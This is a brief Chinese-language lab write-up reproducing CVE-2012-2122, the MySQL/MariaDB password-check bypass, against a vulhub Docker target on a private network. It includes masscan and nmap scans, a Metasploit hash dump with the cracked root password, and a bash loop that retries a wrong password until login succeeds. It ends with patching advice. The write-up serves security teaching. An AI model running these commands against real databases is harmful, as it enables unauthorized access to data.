1.漏洞描述
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
2.影响版本
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 .
MySQL versions from 5.1.63, 5.5.24, 5.6.6 .
3.环境部署
kali :192.168.249.130
ubantu ip:192.168.249.137
搭建环境:
https://vulhub.org/#/environments/mysql/CVE-2012-2122/
启动环境 docker-compose up -d
4.漏洞复现(两种方式)
1.使用nmap扫描
使用nmap 对靶机进行扫描,查看所开放的端口,以及扫描数据库的版本信息
masscan --rate=10000 --ports 0-65535 192.168.249.137
nmap -T4 -sV -O -p 3306 192.168.249.137
扫描结果为:开启3306端口,并且mysql版本为5.5.23
配置msf参数
我们可以看到MD5加密的root用户密码
使用md5解密,密码为123456
远程连接mysql数据库
mysql -h 192.168.249.137 -u root -p123456
2.执行脚本
进入终端执行命令
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.249.137 -P3306 ; done
经过漫长的等待......终于进入数据库
漏洞修复
对数据库进行升级打补丁
关闭mysql端口